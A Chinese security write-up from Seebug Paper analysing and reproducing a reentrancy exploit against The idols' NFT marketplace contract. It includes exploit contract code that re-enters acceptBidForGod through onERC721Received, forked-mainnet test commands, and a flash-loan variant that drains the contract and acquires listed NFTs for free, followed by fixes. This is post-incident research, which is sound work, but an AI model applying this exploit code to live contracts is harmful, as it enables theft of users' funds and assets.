作者:Dig2
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

背景介紹

The idols是以太坊上的NFT項目,其特點在于會按照用戶持有idols NFT的數量,分紅Lido質押獎勵(資金來源為項目公售獲得的約2250 ETH)。該項目同時發行$VIRTUE代幣,購買并質押代幣的用戶會分紅idols NFT的交易手續費(交易額的7.5%)。因此開發團隊自建了一個專用于The idols的交易平臺,以避免用戶在第三方交易平臺(例如OpenSea)交易被收取額外的平臺手續費。

3月7號,idols團隊發布聲明稱,有白帽發現了其NFT交易市場合約中存在漏洞:攻擊者利用精心構造的攻擊合約,可以取出IdolMarketplace合約中所有的ETH。

隨后idols團隊采取了以下行動:

  1. 主動利用漏洞,提取出IdolMarketplace合約中賣家們尚未領取的約58 ETH,防止被黑客盜走
  2. 刪除idols交易平臺相關前端頁面并通知用戶盡快下架idols,防止黑客主動購買idols后再利用漏洞取出ETH
  3. 編寫合約,用閃電貸購買了idols交易平臺中的所有idols NFT,并再次利用漏洞取出款項,然后將idols NFT還給原owner

本文對相關合約進行分析,并復現漏洞利用。

源碼分析

IdolMarketplace合約代碼

合約地址:

0x4ce4f4c4891876ffc0670bd9a25fcc4597db3bbf

合約實現了簡單的市場功能,包括:

  • 掛單 postGodListing
  • 取消掛單 removeGodListing
  • 購買 buyGod
  • 出價enterBidForGod
  • 取消出價 withdrawBidForGod
  • 接受出價acceptBidForGod
  • 提現 withdrawPendingFunds

直接涉及到取款操作的提現函數withdrawPendingFunds和取消出價函數withdrawBidForGod都使用了nonReentrant來防止重入攻擊。

但在沒有重入保護的購買函數buyGod接受出價函數acceptBidForGod中,使用了safeTransferFrom來轉移ERC721。

safeTransferFrom實現源碼中,調用了_checkOnERC721Received。如果NFT接收者是合約,會嘗試調用該合約的onERC721Received函數,要求返回值必須為IERC721Receiver.onERC721Received.selector,即0x150b7a02

因此我們可以構造帶有onERC721Received函數的惡意合約,保證最后該函數返回值為0x150b7a02,即可將其作為入口進行重入攻擊。

回到acceptBidForGod函數中,它將刪除出價操作放在了safeTransferFrom調用之后,這是該合約能被重入攻擊的另一必要條件——在godBids[_godId]還沒被刪除時,通過調用safeTransferFrom從而重入調用acceptBidForGod使得pendingWithdrawals[msg.sender]能不斷累加,再提現即可盜走合約中的ETH。

漏洞利用

重入攻擊取走所有余額

開發團隊在14340309區塊進行了第一次漏洞利用以拯救合約中的ETH。

我們fork區塊高度14340000進行測試:

ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,5000000000000000000 --chain.chainId 1

此時IdolMarketplace合約中大概有61 ETH,攻擊者Bob有5 ETH:

async function getETHBalance(address:string) {
  return formatEther(await (await provider.getBalance(address)).toString())
}

console.log("Balance of idol marketplace: ", await getETHBalance(idolMarketplaceContract.address)," ETH")
console.log("Balance of bob: ", await getETHBalance(bob.address)," ETH")

// Balance of idol marketplace:  61.444988760689139709  ETH
// Balance of bob:  5.0  ETH

因為我們要利用對自己擁有的NFT出價,然后進入"接受出價-safeTransferFrom"重入循環,所以我們得先有一個NFT。查詢logs中的GodListed事件找到一個售價為1 ETH的NFT進行購買,這里購買1426號:

await (await idolMarketplaceContract.buyGod(1426, {value: parseEther("1")})).wait()

然后思路為:

  1. Bob創建合約Exploit
  2. 將剛購買的idols NFT發送給合約Exploit
  3. 調用Exploit合約中attack()函數(發送3 ETH)
  4. attack()函數中創建ExploitReceive合約(發送3 ETH)
  5. ExploitReceive合約調用enterBidForGod()函數對Exploit合約擁有的idols NFT出價(3 ETH)
  6. Exploit合約接受該出價,進行NFT轉移safeTransform()
  7. safeTransform()調用ExploitReceive合約的惡意onERC721Received函數,進行重入

ExploitReceive合約中的onERC721Received函數:

function onERC721Received(address, address, uint256, bytes calldata) external returns(bytes4) {
    times++;
    idolMain.transferFrom(address(this), address(exploit), id);
    // 因為會被收7.5%的手續費,所以需要如下計算重入多少次
    if (address(idolMarkestplace).balance > times * price * 925 / 1000) {
        exploit.acceptBidAgain(id);
    }
    return ERC721_RECEIVED;
}

由此做到重入攻擊,具體查看Exploit和ExploitReceive合約代碼

整個流程的時序圖如下所示:

最終效果效果:

exploit

使用閃電貸"免費"獲得NFT

除了盜走IdolMarketplace合約中已有的ETH,還能先主動購買在Marketplace上上架的NFT,此時支付的ETH進入了合約中,只要再進行重入攻擊,就能把這筆錢取出來,相當于免費獲得了NFT。

稀有款NFT的擁有者往往會定很高的價,在Bob本金不夠的情況下,可以借助閃電貸完成攻擊。

流程:

  1. 借款
  2. 購買在IdolMarketplace上架所有NFT
  3. 重入攻擊取出剛付的ETH
  4. 還款

NFT上架eventNFT下架event分析得到哪些NFT仍處于可被購買狀態:

async function getMarketNFTs(block: number | undefined) {
  let nfts : {[key: number]: [BigNumber, number]} = {}
  const listEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodListed(null, null, null), undefined, block);
  for( const e of listEvents ) {
    const args = e.args
    nfts[args[0].toNumber()] = [args[1], e.blockNumber]
  }
  const unlistEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodUnlisted(null), undefined, block);
  for ( const e of unlistEvents ) {
    const args = e.args
    const nftID = args[0].toNumber()
    if (nfts[nftID] && e.blockNumber > nfts[nftID][1]) {
      delete nfts[nftID]
    }
  }
  let res = []
  for ( const id in nfts ) {
    res.push(id)
  }
  return res
}

考慮到idols NFT可能在別的平臺上被出售或者以其他某種方式transfer給了其他地址,對上面函數得到的結果遍歷檢查一下owner和上架人是否相同,能得到更準確的結果。

測試選取了十個定價高于10 ETH的idols NFT進行測試。

  let nfts = [
    '1005', '1074', '1862', '2008', '2106',
    '2607', '2668', '2700', '3320', '3544',
  ]

Bob初始資金1 ETH作為gas:

ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,1000000000000000000 --chain.chainId 1

漏洞利用合約代碼

在接收到借款后開始攻擊:

fallback() external payable {
    if (msg.sender == borrowerProxy && address(this).balance >= borrowValue) {
        _buyNFT();
        _reentry();
        _repay();
        _selfdestruct();
    }
}

在重入利用函數_reentry()中,有一行

// calculate bidPrice required to withdraw all ETH in IdolMarketplace
uint bidPrice = address(idolMarketplace).balance * 1000 / 850;

這里的850是通過計算得出的:

x是idolMarketplace合約的ETH余額,y是為了提取其所有ETH所構造的交易價。由于每筆交易有7.5%的手續費,所以當買家投入y ETH,賣家只能提現y * (1 - fee) ETH。利用重入攻擊提取兩次,就是y * (1 - fee) * 2 ETH。最后解出方程就是上面代碼中的比例:

最終效果:

loanExploit

可以看出,已經清空了idolmarketplace中的ETH并且這些NFT的owner都是Bob

總結

本次事件是safeTransferfrom導致的重入攻擊的實際利用。就該項目合約而言,可以通過以下等方法修復:

  1. 給所有函數都加上nonReentrant
  2. 將狀態修改放在safeTransferfrom之前

本文提到的代碼可以在此github倉庫中找到。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1845/